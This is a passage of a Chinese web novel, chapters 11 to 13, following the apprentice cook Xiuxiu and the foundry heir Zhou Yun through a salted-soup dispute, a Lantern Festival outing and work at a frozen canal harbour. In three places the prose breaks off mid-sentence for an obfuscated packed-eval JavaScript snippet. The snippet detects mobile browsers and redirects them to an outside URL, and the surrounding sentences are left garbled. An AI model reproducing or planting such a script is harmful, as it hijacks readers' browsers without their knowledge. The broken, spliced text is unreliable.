“陷害？”钱正更怒，“你的意思，倒是我故意找茬了？” 管事的急忙上前拉住四勺：“钱老板你可招惹不起！快道歉！” 气氛僵持之际，秀秀目光扫过桌面，那佛跳墙的盅盖被随意放置一旁，盅沿内侧和盖子内侧似乎比通常更加湿润，凝结着一些格外粗大的盐粒晶体，不像细腻的烹饪用盐。 一个念头闪过：这咸味不是在炖煮时搁进去的，而是上桌前有人将大量粗盐直接撒在了汤汁表面，所以味道分布不均且齁咸刺喉！ 秀秀上前一步，对座上二人欠身行礼，声音清亮不失恭敬：“诸位贵客，请恕小女子冒昧，此事确是后厨疏忽，惊扰各位雅兴，小女有一法，或可弥补，又不劳烦二位等待诸久，请诸位准我一试？” 众人目光聚焦于她身上，周允瞥一眼，靠到了座椅靠背上。 秀秀对管事的低语几句，片刻，伙计端来一罐温热的淡白色高汤，和一些新鲜的萝卜片，以及一套小火炉和小锅。 她在客人面前，将过咸的佛跳墙舀入小锅之中，置于火炉之上，徐徐加入淡高汤稀释，文火慢煨，并用萝卜吸附多余盐分。 她动作从容，宛如进行一场烹饪展示。 “家传土法，萝卜吸咸，慢火融味，原汤精华仍在，只是冲淡咸味，更能凸显本味醇厚。”她边做边解释。 不多时，小锅沸腾，她将汤汁舀回盅内，为钱正和周允奉上一小碗：“请诸位再品。” 钱正将信将疑尝了一口，脸色稍霁，此时，周四海出恭归来，见到秀秀，又是一脸狐疑，听由管事的解释后，便亲自尝了尝汤，道：“鲜味犹在，反倒比之前更上一层楼了。” 钱正总算松口：“罢了罢了，今日之事我看在周兄份上，不再追究。” 管事的连忙道谢，带着秀秀和四勺离开，只见周允面色自始至终都淡然冷漠，直到这会儿才抬起眼来，心道这少东家真是个怪人。 待宴席尾声，钱正心满意足，以往的生意伙伴蒋家一落千丈，过年这些天他辗转难眠，如今天降大单，于是便兴致勃勃邀周家父子二人去听曲儿。 周允先行告退，径直往门口走去，伙计高亢道一句：“客官您慢走嘞！” 出了金鼎轩，路过后院角门，只见一名小厮哭嚷着被赶了出来，他无心看热闹，可那小厮朝门口大声啐了句什么，他不由多看两眼，眉峰微动，转头又负手离去。 11. 第 11 章 周家自从上次接了宫里来的牌票，便再无一日清闲。前几日爷俩四处联系各个铁矿的老板，这几日，周允便一直在冶坊待着。 朝廷下旨，在今年二月要征用周氏冶炼坊的场地、工匠和设备，冶铸一口直径三米、锅深将近一米半的巨型铁锅，以备九月远洋船队之需。 届时一旦开工，不仅有太监坐记，更有锦衣卫校于工场，所有民夫、工匠一体拘管，事毕之前不得与外界交通，足以见此事干系重大。 于是周允便提前操练着坊里的工匠，选出些活好的结实汉子，整旧缮修棚里的器具，而其他棚屋的农具、炊具生产也得照常运行。 周四海为此已有几日茶饭不思，此事不同于船上供应，事成之后是皇权恩宠，可一旦出了任何差池，后果可想而知。 周允对此漠然置之，君有命，一介商贾不得不从。只是最近头疼的是匠头一职，周四海心意已决，要么亲自上阵，要么安排叶丛上任，而周允自是明白周四海心中考量，父子俩少不了又是一番争执，争来争去，暂且搁置了此事。 前几日商定了大部分的铁矿石供料，钱正自是不知真正用途，可在大笔的利益面前，人是极易接受所有说法的。 周四海嘴里没有一句实话，周允嘴里没有一句话，钱正不深究，只当周家接了官府的大买卖，便也不去在意其他，提早同周家联系着码头的各项事宜，只待码头通航，好顺顺利利把生意做了。 正月十五这日，周府上下依旧各忙各的。 周允在一大早便与来兴又去了冶铸坊，清晨寒风肆虐，周允快马加鞭，来兴跟得吃力，二人一路疾驰。 周四海先去了铺子，今日上元节，生意冷落，店里留下两个当值伙计，其余便全给了假，随后他也前往冶坊。 周家唯一清闲的，莫属叶文珠了。 按理说姨母过世，她这个外甥女是如何也排不着号住在没有女眷的姨丈府上的。 在叶青岚过世当年，那时叶文珠还在娘亲肚子里，尚未知晓是个丫头还是小子，叶青岚只怕周允一人孤单，便嘱托好周四海，待她走后，近远亲戚别落下，周允姨母家的孩子也多联络着，于是叶文珠十二那年，便被周四海邀来了铺子，随着账房先生学算账，大多时候住在店铺后院。 今年因着姨母过世十五整年，她在周府过了年，平日里这是个好热闹的主儿，头一回在姨丈家过年，本以为有些不同于郊边老家的新鲜事儿新鲜人儿，可除了认识钊柔这个姐姐，反倒只觉闷得慌，于是早在几日前便邀秀秀元夜同游。 从正月十三开始，皇京有五日暂弛宵禁，上元之夜，月色尤美，京华如昼。东安门外开辟出绵延数里的灯市，士女倾城，笙歌笑语，灿烂之景，不可名状。 三两丫鬟小厮陪同身侧，叶文珠挽着秀秀衣袖，遥指巍然矗立于御街广场的巨型灯棚，惊叹道：“山灯倒是一年精致过一年！” 秀秀顺着叶文珠所指望去，只见山灯以竹木为骨，以彩绸为肤，层叠垒建，共有三层，精美绝伦。 下层八仙异兽，各显神通；中层神佛塑像，惟妙惟肖；上层仿照仙山，峰回路转，亭台楼阁，一应俱全。远远观之，果真如同一座如梦似幻的仙山。 秀秀携着叶文珠往人稍稀处走了几步，避开喷火的杂耍人，问道：“为何叫鳌山？” 叶文珠娓娓道来：“相传在那渤海之东，不知几亿万里之地，有一无底深渊，名为‘归墟’，四极八荒之水终归于此，但归墟水位却未曾改变。归墟之中漂浮着五座无根仙山，山上住的尽是长生不老的仙人，玉堂金马，奇珍异兽，灵芝仙草数不胜数。” 秀秀问：“莫不是那极乐世界？” “本是极乐，却有一桩烦恼。”叶文珠话锋一转，“无根仙山随波逐流，飘摇不定，仙人们时常觉得动荡不安，于是便上报天帝。天帝便命那北海之神禺强驱使十五只顶天立地的巨龟驮住了五座仙山，六万年才轮换一次，自此仙山才安定下来，仙人们才又继续逍遥自在。” 秀秀听得入了神，仿佛眼前喧嚣浮华化作浩渺归墟，她呐呐道：“它这般亮，这般稳，倒真像是被巨龟驮着的仙山，从海上漂到皇京来了。” 叶文珠道：“陛下命人造此鳌山，正是图个盛世稳固的好兆头，将仙境搬至百姓眼前，与民同乐！” 秀秀跟看一眼鳌山灯，笑着感叹：“真好......” 正当其愣神之际，叶文珠笑意盈盈朝远处招手。 秀秀抬头看去，只见周允偕同李聿前来。 原来李聿本与好友同游，却正巧遇见从冶铸坊归来的周允，于是便同行。细瞧二人身后，来兴牵着两匹马，正差人送回周府。 待与人交接好，来兴上前道：“少爷，马匹都托付好了。” 周允低声道：“退下罢。” 来兴眉开眼笑：“谢谢少爷！”接着便一溜烟儿跑了。 秀秀沉默睇一眼来兴的背影，总觉得这对主仆之间有些古怪，仆从不怕主子，主子也没把仆从当下人。 可转念思及，她同翠鸾红莺又何尝不是这样？ 这时，李聿开口：“如此之巧，倒不如同游？” 周允依旧无言，脸上云淡风轻，并不表态，或许游与不游，与谁同游，对他而言，都差不多。 叶文珠悄悄拉住秀秀的斗篷，秀秀嫣然笑答：“一起吧。” 北地深冬，本应寒气砭人肌骨，如今却炙热如沸。御街官道两旁，俱是灯火相映，摩肩接踵。 四人往广场走去，叶文珠与秀秀裹着斗篷，由丫鬟小厮紧紧跟着，挤在人群里凑热闹，见了圈场表演的百戏便驻足片刻，叶文珠一一解释，猴戏、吞刀、唱曲、魔术、喷火......秀秀看花了眼。 李聿偶尔和周允搭话，只是周允心思仍不知在何处，偶尔应一声，我行我素地走着。 渐渐，李聿走到叶文珠身边，加入姊妹俩的说说笑笑。 周允不紧不慢跟在三人身后踱步，说起来，这还是他六岁后第一回游灯会，旧日记忆早已远去，如今在冷夜中倒念起几分儿时的趣。 街边卖吃食的摊子，灶火兴旺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632994|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，热气腾腾。卖元宵的汉子嗓门嘹亮：“刚出锅的浮元子哎——又甜又香、皮薄馅大的浮元子哎！” 白生生的圆子在锅里翻着个儿，三人凑过去要了两碗分食，热气瞬间驱散寒意，李聿看向身后，端着碗到了周允面前。 周允垂眼一看，略带不屑：“孩童之食。” 话音刚落，秀秀在摊前唤一句“寅生”，把李聿叫到跟前，一双眼却把周允瞪了囫囵个儿。 待食完元宵，在灯火稍暗的一隅，三人又在面具摊子前站定。秀秀拿起一个纸糊青面小鬼举到脸前，叶文珠一乐，给她换成了仙娥面具，约莫半盏茶后，三人仍在摊前挑挑选选。 周允慢悠悠晃过去，拾起一张凶神傩面，青面獠牙，突眼怒目。这时身侧传来李聿的打趣：“这面具倒是适合不然兄。” 周允一瞟：“何以见得？” 李聿笑道：“能把人唬得跑出去三丈远！” 此话一出，众人皆笑，就连卖面具的小贩也跟着笑起来：“傩神开路驱邪，是顶顶好的寓意，公子气度不凡，自是适合！” “就这个了。”周允不见怒气，只眨了眨眼，捏着面具戴上，又一同给众人付了钱，便昂然向前走去。 不多时，李聿和叶文珠二人便又被灯谜摊给吸引了去，里三层外三层的人对着花灯下的纸条苦思冥想，李聿上前作揖：“一钩残月带三星，谜底可是‘心’？” 灯主回礼：“公子探骊得珠！”李聿接过花灯道谢，灯杆在手里牢牢攥着，直至秀秀后退一步，他索性把灯交到叶文珠手里。 随后二人在灯谜摊前站稳了脚，秀秀跟着听了片刻，懵懵懂懂，最后轻轻叹了口气，同二人打了招呼，又嘱咐好几个丫鬟小厮，便带着翠鸾红莺往旁处走了。 傩神在人群外圈站着，见仙娥，迟疑一瞬，信步游走到街道中央，不知不觉中，随人行至鳌山灯下。 鳌山灯上千灯竞彩，料丝灯澄澈如冰，羊角灯温润如玉，走马灯里的剪纸人马影影绰绰、循环不休。 山灯下人潮如水，仙娥秀秀眼波流转，仰头望着最大的一盏走马灯，瞳里映着灯火，映着走马灯中恍若灵界的月亮。 人流涌动，推拥之间，仙娥正与丫鬟说笑逗乐，行至灯火阑珊处，却全然不知傩神的靠近。 周允抬手摆正面具，指节利落，手掌如蒲，与狰狞鬼面格格不入，袖口扫过身前之人，前人回头，又急忙回过头来。 惊鸿一瞥，傩神面具下，睫羽轻颤，指尖无意识蜷了一下，接着，他就被人狠狠踩了一脚。 瞧见秀秀拉着丫鬟走出人群又往灯谜摊子走去，周允索性再跟上。 灯谜摊前人影渐疏，四人很快兵分两路，各自回府。 云薄风轻，月光澹澹。近处光声热浪，士庶尽染欢颜；远处巍峨皇城，静默璀璨之外。 叶文珠拎着兔子灯一路上啾喳不止，周允兀自下了马车，便独行拐至另一条街，烦嚣顿洗，胸中豁然开朗。 进了息心园，待更衣解履，他方才瞧见鞋面上的秀气脚印。 12. 第 12 章 吃完元宵，年节便过完了，偌大皇京又恢复了往日光景，钊虹摇着扇子在金鼎轩迎来送往，李守常从家宅换到学堂继续作书，李聿终日之乎者也，而李三一，则像是势必要把小徒弟的舌头变成最精密的秤。 这两日，秀秀已经知道了何为死咸、齁甜、巨酸和爆辣，对此，李三一有自己的说法——尝过极味，知道比例，舌头才能有数。 秀秀有苦难言，只听四勺摸摸鼻子说道：“师妹莫慌，都是这么过来的。” 终于，在第三日，李三一准许她跟案。这是绝佳的偷师路子，一整日下来，眼看耳听，心记脑思，身心俱疲，待金鼎轩兴阑人散，总算熬到放饭。 后厨的喧嚷被一道布帘隔开，里间小桌上，三碗饭，几碟清淡小菜。 秀秀捧着碗，专心剃着鱼刺，李三一低沉的声音便响了起来。 “四月，京里要办厨艺大赛。”李三一呷一口茶水，语气平平，问向二人，“可听说了？” 四勺当即点点头，眼里燃起一簇火，带着一股压抑不住的劲头。秀秀抬起头来，筷箸尖上的鱼肉啪嗒掉回碗里。 李三一目光扫过两个徒弟，在秀秀疑惑的脸上略一停顿，道：“这回，你们俩都去。” “我也去？”秀秀脱口而出，声音因诧异而变得尖细，“师父，我才刚学会切出匀称的萝卜花，调味都还拿不准......” 李三一放下茶盏：“谁指望你拿名次了？”他语气里带着一丝哼笑，“是让你去瞧瞧，天有多高，地有多厚，去看看别人锅里的火，别人刀下的工，一直缩在后厨，能学到什么真见识？” 这番话压下秀秀些许慌乱，她悄悄松了口气。桌上安静一息，李三一忽然问：“前几日，故意给佛跳墙撒盐的那小厮......今儿个午后，我在后院又见着他了。” 四勺和秀秀皆是脸色一沉，秀秀记得那个小厮，估摸着在年前打探她拜师之事时就已不安好心。 李三一继续说：“我正巧出门，见他跪在那儿，求管事的给条生路，管事的没松口，他也就走了，咬牙切齿的，怕是恨上了。” 里间安静下来，李三一神色严肃，目光在徒弟身上扫了一圈，语重心长开口：“他若踏实肯干，未必混不上一口饭，可心思歪了，路走斜了，金鼎轩不敢用的人，哪家正经厨房还敢用？你们都给我记牢喽，学做菜，得先学做人，品性不正不稳，灶王爷早晚得算到你头上！” 李三一音量渐高，说到激动处轻咳起来，饮一口茶水，又继续道：“大赛比的可不只是厨艺，更是你们站在锅灶前的身子直不直，正不正！” 秀秀垂眼，心底渐渐被另一股情绪取代，她捏紧手中的筷子，只见四勺在一旁，腰杆挺得笔直，年画娃娃似的脸也庄重起来。 前堂一阵阵喧闹传来，几人用晚饭后，秀秀便也照往常一般收拾好灶台，利索回李府了。 一路上，她心思都在师父那一番话上，骤然对厨艺大赛生出一丝期待，虽不为名利，但也不能给师门丢人，得尽早上手才是。 正思及此，便又走到那条暗巷，莫名其妙心里发慌，她探头一瞧，只见两人朝着一人跪地求饶，嘴里哭着喊着什么，于是她当即打了拐，绕道而行。 昏暗逼仄的巷子里，周允神情冷峻，周遭被一层寒气包裹，任谁走近都要打个寒颤，唯独那截筋骨毕现的手腕一片灼热，头层皮肤已经面目全非。 方才他赶着宵禁时辰从冶炼坊回来，路遇二人鬼鬼祟祟，定睛一瞧，竟是那日朝着金鼎轩后院大骂的小厮。 那日这小厮骂的不是别人，正是每回见了他周允都恨不得在他身上瞪出俩窟窿的钊柔。 周允心中不免疑惑，他下了马跟踪至此暗巷，才得知原来二人竟谋划着对钊柔行不轨之事。 这时，他低头看一眼手腕，又看一眼滚落在地的火把，神色自若走到二人跟前，狠狠踹上去，势劲力疾。 小厮打了个冷颤，忍着骨折的痛，跪地求饶：“大老爷您行行好！放小的一条生路吧，小的以后再也不敢了！” 周允垂睫眄去，只见另一个小厮爬到他脚下，连磕几个响头，接着直起身来朝旁边一指：“都是他指使的，跟我无关，都是他逼我的！” “你——”那小厮愤愤道，“好你个狗剩，亏我还拿你当兄弟！” 周允朝地下的身影睨一眼，眉目凛凛，二人顿时息声。 他终于开口，一句话说得简洁明了：“你们二人，谁先打得过谁，我就饶了谁。” 话音刚落，二人俱是一愣，接着便撕扯扭打起来，周允观战片刻，二人脸上都挂了彩，脸色狰狞，气喘吁吁开始互骂。 他呵斥道：“谁叫你们站住的？”语气凌厉狠辣，叫人震骇，不敢不从。 困兽之斗，悍戾狞恶。 周允闲闲负手离去，待他翻身上马，巡夜兵马司正闻声赶到巷口。 暮鼓声响起，息心园凉意浸人，周允悠悠走到廊下，来兴忙迎上前：“少爷，水都备好了。”霍地看见他猩红僵硬、触目惊心的手腕，来兴一惊，“少爷！您这是怎么了？” 周允抬手拧一圈他肩膀，语音平淡无奇：“拿药去。” 走进屋里，周允将就着自己脱了衣裳，一条极浅的疤横亘在背部，快要与背上的皮肤融为一体。他坐进浴桶，手腕随意在桶边搭着，闭眼歇息的空当，来兴在门外道：“少爷。” “进来吧。”他没动。 来兴在浴桶边小心翼翼上给他上药，问道：“这是被锅炉烫着了？” 周允懒懒“嗯”一声，来兴一顿，反应过来：“怎么没戴那牛皮手套？” 周允掀起眼皮朝他一睇，来兴闭了嘴，低头默默上药包扎。直到来兴告退时，周允才又开口：“此事不必声张。” 来兴点头，手指在嘴边一拉，出了卧房。 来兴对周允的脾气再了解不过，十三那年，少爷在冶坊被长钳砸到后背，衣服刚脱下来，背上一条痕迹就成了绛紫，他一声不吭趴在床上，让来兴给他上药，来兴怯怯说合该告诉老爷和叶师傅，少爷那时的神情和今晚一模一样。 窗外脚步声渐远，屋里暖炉熏香，死寂般的温暖。周允只着一件素绫寝衣，领口微敞，斜倚在床，身下锦衾被长腿压出凌乱褶皱。 他缓缓抬起左手，一股清苦凛冽的药味透过纱布散出来，目光落至一圈刺眼白色，凝神愣了好半晌。 周允，你何时爱这般多管闲事了？ 眼神渐渐涣散，又被他执拗地聚拢起来。 他心中一跳，本能地感受到不妙。 索性下了床，走到鞋柜，一双双翻看，无一例外，每双都仅鞋底轻微磨损，鞋面挺阔整洁。 那个脚印…… 她的脚印？ 柜门一闭，长久的静默后，他又快步走至桌侧画缸，快速找到除夕那日的字来，展开纸，凝神端详一番。 黄裙逐雪，黄裙逐雪。 抑或是，雪落黄裙？ 雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632995|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中飞舞的黄裙摆历历在目，愈是遏制，愈是挥之不去。 沉吟良久，迷惘已去，心中却是莫名的慌乱难挡，心跳铿锵有力，混乱不堪，声响之急促，像是心要跳出胸膛，莫名令人烦躁难耐。 烦躁在他坚如磐石的心里横冲。 他霎时蹙起了眉，遂将纸揉为一丸，扔进了字纸篓。 可次日一早，周允便又照常投身到冶坊中去了。 下个月初，工部要派人到冶铸坊巡察工场、检视工匠，所以自从那日手腕被烫，直到正月底，周允便在坊里住下，平日他待在冶铸坊监工，周四海在铁矿和高炉户间周旋，父子俩各司其职，他也免一遭唠叨。 这些时日，周允一直都把心思都放在冶坊的主棚屋，这是坊里最大的场地，经年累月损耗最为厉害，每年春夏淡季，都少不了一番培修补葺，这回借着官府拨款出资，爷俩叫上叶丛商量一番，索性大张旗鼓地修整。 最近坊里的旁的小棚屋，正紧急赶制一批锄头镰刀、铁盆秤砣之类，还有周氏冶坊最盛名的铁锅炊具。 周四海算盘打得响，虽说接下了官家的活，可自家的私活也不能拉下，二月底商队西行贸易，又是一笔生意。 酉时天黑，饭后加火班，待天黑透了，日工便挨个到账房去领工钱，这个空当，周允回了房，刚换下脏衣裳，门被敲响了。 “师父。”周允开门，门外寒气混着铁炭气味扑面而来。 叶丛来到铁锅架子前坐下，瞧一眼书桌上的图样，语气温厚问道：“还在琢磨图纸？” 周允应声，烛光在他眉眼间跳动，他带着惯有的冷峭和决绝开口道：“您不必再劝。” 叶丛不接话茬，从怀里掏出个小布包，摊开来，是几块边缘圆润的铁片，他缓缓开口：“你十二那年来到坊里学打铁，没几天手上就磨起水泡，一个人在房里生闷气，我就用这些边角料给你打了只小铁雀儿。” 他拿起一块，指尖摩挲着铁片，继续说：“你看，再硬的铁，找对了法子，也能生出灵性。这口锅是难，难如上青天......” “正因为难，才更不能让您冒险。”周允顿了顿，“匠头之位是火山口，无论如何我不能让您和我爹去做。” “不然，你技艺惊绝，青出于蓝，但这把刀太烈，容易断！”叶丛声音依旧平稳，却似有千钧之力，“冶锅可不只是冶铁，也是经验，是分寸，师父教过你，火候早一刻则生，晚一刻则脆，这些道理，用图纸算不出来。” 他再次开口，语重心长：“你的锐气是坊里的未来，周氏冶坊不能没有坊主，更不能没有少坊主，我叶丛炼了大半辈子锅，这次，让师父用这点老经验，扛扛这风头。” 周允下颌紧绷，仍不松口：“我还不知何时就要……谈何未来？这匠头只能我来做。” 叶丛陡然变了脸色：“胡说！” 争执的声音低了下去，房间里充斥着压抑的沉默，叶丛深深叹了口气：“连师父也不信了？此事我已与坊主还有二师傅商议过，你也不必再争，成功了，那也是一辈子的荣耀，师父早就把你当成自家孩子，珠儿也还在铺子......” 叶丛并未把话说全，话里藏着更深的东西。他站起身来，如幼时那般拍了拍周允的肩膀，便离开了。 房门合上，将那抹宽厚背影关在门外，周允仍坐在原地，脸色阴沉，烛光将他的影子拉长，投在墙上，似一块沉重冰冷的铁。 这时，烛火噼啪一声，爆了个灯花。 13. 第 13 章 进了二月，春寒料峭，璇波河仍一片冰面，城东运河码头上搭起了临时的芦苇棚，漕运衙门的官员与几名小吏裹着羊皮袄，揣着手炉，立于岸边监督全局，身旁随从手持令旗，不时朝着河面高声传达指令。 河面上，成百的民夫被临时征调，在监工的号令下，如蚁群般展开作业，最前头的壮汉们带着破旧手套抡起冰镩，喊着号子砸向冰面，冰屑四溅，溅到脸上转瞬成水。 后头的人用铁杆耙子将大块浮冰撬起，要么用绳索拖拽至岸边，要么直接撂在旁边的冰面上。 白色汗气从民夫头顶蒸腾而起，形成一团团白雾，飘到岸边的告示牌上，上书一个大大的“漕”字。 此举正是要在宽阔的冰河上开辟出一条仅容漕船通过的水道，这些船上载的是南方过来的粮食，还有生铁。 告示牌距离官吏所在的棚旁有一里路，这里同样白雾四起。三个露天的厨灶是临时搭建的，上面各自架着一口能容纳半头猪的铁锅，锅里正滚着浓稠杂粮粥，粥里掺着切碎的白菜和零星豆腐。 破冰是苦役，官府每日管两顿厚粥，早在几日前，牙行便要给码头招厨子，秀秀当机立断，软磨硬泡找李三一告了几日假，她混了进来。 此时，秀秀正蒙着一块蓝头巾，在锅前忙活着，行动间利索干净，任谁瞧都是一个能干的打杂。只是她的目光时不时看向那些被冻在码头上的商船船帆。 不多时，开饭的号子响了，河面上的汉子们蜂拥而至，“轮换着来，莫要挤！”旁边的小厮用勺子敲了敲锅沿。 秀秀麻利帮忙舀粥，尽量给每个人都舀得实在些。 两个汉子搓着手凑到了锅前，口音带着明显的平城腔：“妹子，给舀碗粥，暖暖身子。”年长的伙计陪着笑。 秀秀心猛地一颤，强迫自己镇定下来，脸上挤出一个笑，手下格外大方，将他们的碗盛得满满当当，几乎快溢出来。 “两位大哥是西边来的？”她声音放得轻柔朴实，带着恰到好处的试探。 “多谢妹子，这粥厚实！”年长伙计端着碗，“听你口音，莫不是老乡？” 秀秀又给另一个伙计舀粥，趁机问道：“你们二人，也是平城人？” 年轻伙计眼里一亮：“是啊！” 秀秀心中一喜，匆匆跟婆子打了招呼，便随着一老一少的伙计去了一旁。 原来这叔侄二人是当年平城闹饥荒时逃到皇京的，秀秀听爹提起过，闹饥荒那年，她还没出生，饿死好些人，也有好些人四处逃荒避饥。 兄弟俩流窜到皇京后，因着机缘巧合便在商队里留下了，商队常年西行，中间路过平城时还能回去看看，下半年天寒，入了冬商队就没了活计，弟兄俩四处做点日工，挣几个辛苦钱。 秀秀接着就带上了哭腔：“叔父、大哥，不瞒你们说，我也是逃过来的，刚到十五岁，我就被爹给卖了，不知道吃了多少板子，实在受不住我这才逃了出来。” 说到这儿秀秀用袖子抹了抹眼，又抽了抽鼻子，鼻尖眼尾通红，一双圆溜溜的眼里一包水儿，她继续说：“讨了一路饭，跟着一个商队才到了这皇京。日子虽说不好过，可怎么也比挨骂吃打强。” “这世道！”老伙计长叹一声。 秀秀抽抽搭搭地说：“就是心里挂念着两个兄弟，大的那个才九岁，也不知道是不是被我那个爹给打死了。” 两个伙计互看一眼，老伙计说：“别哭了，妹子，二月底商队又要通路了，你且将老家告知与我，路过平城地界儿，我俩替你打听打听！” 秀秀按捺住心中波澜，面上又惊又喜，一滴泪珠子直淌下来，她用手一抹，就要给二人跪下，被年轻伙计连忙拉住。 秀秀道：“秀秀在这儿谢过二位！我老家就在平城西边的河津王家沟。大的叫王铁柱，九岁了，小的叫王水生，刚六岁。待您二位回来，到那金鼎轩后厨通口信儿便是。劳烦您们！”说罢，秀秀再次擦了擦泪，心里搁下块石头。 这悲切的一幕，正恰好被旁边几个老民夫看见，这盛世年景，老百姓家破人亡却也是常有的事儿，能吃上饭已经是万幸，他们除了叹口气，又能如何呢？ 然而这时，身后一句声响让秀秀又彻底花容失色。 “少坊主，刚才报信的说约莫下午漕船就到了。” 随后周允的声音响了起来：“嗯，知道了。” 待话音停下，脚步声响起，她缓缓回过头去，不巧，反倒跟那姓周的来了个对视！ 秀秀眼里的泪还有余富，此时却因一阵莫名的心虚而凝在了眼框里，只见周允神色如常，仿佛听了句无所谓的闲话一般，无动于衷地离开了。 待众人用完饭，这锅灶也就撤了，秀秀心不在焉地帮着拾掇，心思都在远处那人身上。 愣神之际，猛地一下，她觉得，该去解释解释。 此时，周四海、周允正站在岸上，随着钱正、寇万名、程贵几位铁矿石老板一同等待即将到来的漕船。 船队靠岸，几人散开，分别到自己马车去了，只剩周允一人，冒着风，眼神虚虚地搁在工人背着的货上，却不聚焦。 秀秀摸准时机跑了过去。 周允瞥见风中的蓝头巾，不由皱起了眉，等人到了跟前，他垂下眼，那蓝头巾愈发清晰。 她抿抿唇，绵软嗓音里带着哽咽：“不然...哥哥，今日之事，实在是秀秀的无奈之举，还请你莫要外传。” 紧跟着，一旁传来她怯怯的抽泣，只见她抬起头来，眼里蓄满了哀和愁，睫毛颤颤的，沾上了湿意。 不知何时，就连周允自己也尚未察觉，他的脸色缓缓舒展开来。 周允陡然从这双眼里得一丝趣，他低声道：“你在求我？” 秀秀愣怔一瞬，将眼神敛起来，最后咬着牙低下了头。 片刻后，他轻声笑了。 秀秀闻声一顿，再抬起头时，他已经走进风里，再无人知晓芙蓉面上的窘迫菜色。 一刹那，她懊悔不已，既早已知晓他的为人，又何故来他面前丢这个脸？ 他若是想说，她来多这一嘴又有何用？叫一声“不然哥哥”就能堵住他的嘴么？ 真是关心则乱！ 秀秀这边正不知所措，周允已忙了起来。 待工人卸下货，他又挨个验了货，这批生铁才又被连夜转运至城郊的冶铸坊，他盯着每批铁入库，中途小工添了一回灯油。 直到最后一批安置好后，天已经漆黑，周允脚步沉沉回到卧房，却辗转难眠。 翌日，他伴着晨钟出了房门，到家时，天尚未大亮。 这些日子，来兴仍住在府上，时不时跑去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632996|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冶坊给周允送些换洗衣物。周允行至门前时，来兴正在他卧房打点着东西，瞧见来人，不自觉搓了搓眼睛，看清了是谁后，不由自主地伶伶打个冷战，虚声问道：“少爷？” 周允没理，径直在桌前坐下。 来兴速去端来一茶壶，给周允倒一杯水，问：“本打算今日就去给您去送衣裳。” 周允呷一口，茶盏握在手里摩挲半晌，最后一饮而尽，兀自说道：“你跑一趟茶楼，找兄弟俩帮我查一个人。” 得知少爷回来，息心园的小厨房久违燃起炊烟，用过早饭后，周允休憩片刻，又独自出了门。 清晨，码头已全然不见昨日繁忙之景，河面再次上冻，阳光斜照一河坚冰，璇波河恰如其名，颇有几分月辉星照的意味。 周允沿河策马，大氅裹着修长身形，一路衣袍颠颠，悠哉悠哉来到了一片荒无人烟之地。 冬晨雾气未散，缠在林立树干之间如薄纱，空荡荡的枝桠冷寂静谧，几个鸟窝已经破败。 周允牵马踏过林间僵硬的土地，三两下便蹬上一棵老梨树，斜倚在了一棵虬枝上。 这林子是他五岁那年，叶青岚亲手拉着他种下的。那是一个春日，爹娘都在身边，娘亲握着他的手把树苗栽进土里，“梨树好啊，栽了梨树，永不分离。”叶青岚柔声细语，“等结了果，就有甜梨吃了。” 记忆模糊久远，如今梨树已经合抱，娘亲的坟头草枯荣了十余载，他手心的土顺着指缝溜走，到头来只剩掌心一道被粗糙树皮磨出的红痕。 说起来，他已经数不清多少年没吃过梨了。 倏而一阵风萧萧而过，残雪簌簌落了满肩，他没拂，仍半躺着，闭上了眼，嘴唇绷成一条直线，像是在和什么较着劲，近来总是如此，一触凉意，零星旧事，或者是薄薄的痛感就能勾出些许滞闷。 这回的滞闷里，搅着一点明眸大眼里的盈盈秋水。 正烦着，另一桩陈年旧事却鬼使神差浮上心头。 也是这片林子，七年前的盛夏，他又溜出来泅水，才褪下外衫，就听见细碎哭声，一个约莫六七岁的孩童，正蹲在溪畔哭得肩头直颤，锦衣都被荆棘勾得又乱又破。 那哭声叫他心烦，“喂。”他不耐烦地朝那孩童喊。 孩童抬起头来，一张清秀俊面上全是泪痕汗渍，带着些怯懦看他。 他皱眉轻叹，可最后还是把这个迷路孩子送到了金鼎轩门口。 那时没有人愿意靠近他，除了李聿。小小的人跟在他屁股后面，有模有样躬身叫他“不然兄”，怎么也赶不走。后来这小子学了下棋，打遍了书院再也找不到对手，最后找到他府上，二人交手一盘棋，下到了今天。 姐姐弟弟怎都这般会哭？哭起来叫人烦闷不止。果真不是一家人，不进一家门。 眉峰如刃，微蹙的眉眼缓缓张开，视线落在不远处的溪面上。这是璇波河的分支，一条清瘦且冰封的小溪，溪边石头都显得刺骨。 林子里骤然静得可怕，恍然间树枝把人硌得生疼，掌心的茧子被冻得发痒，他索性垫到脑后，又闭上了眼。 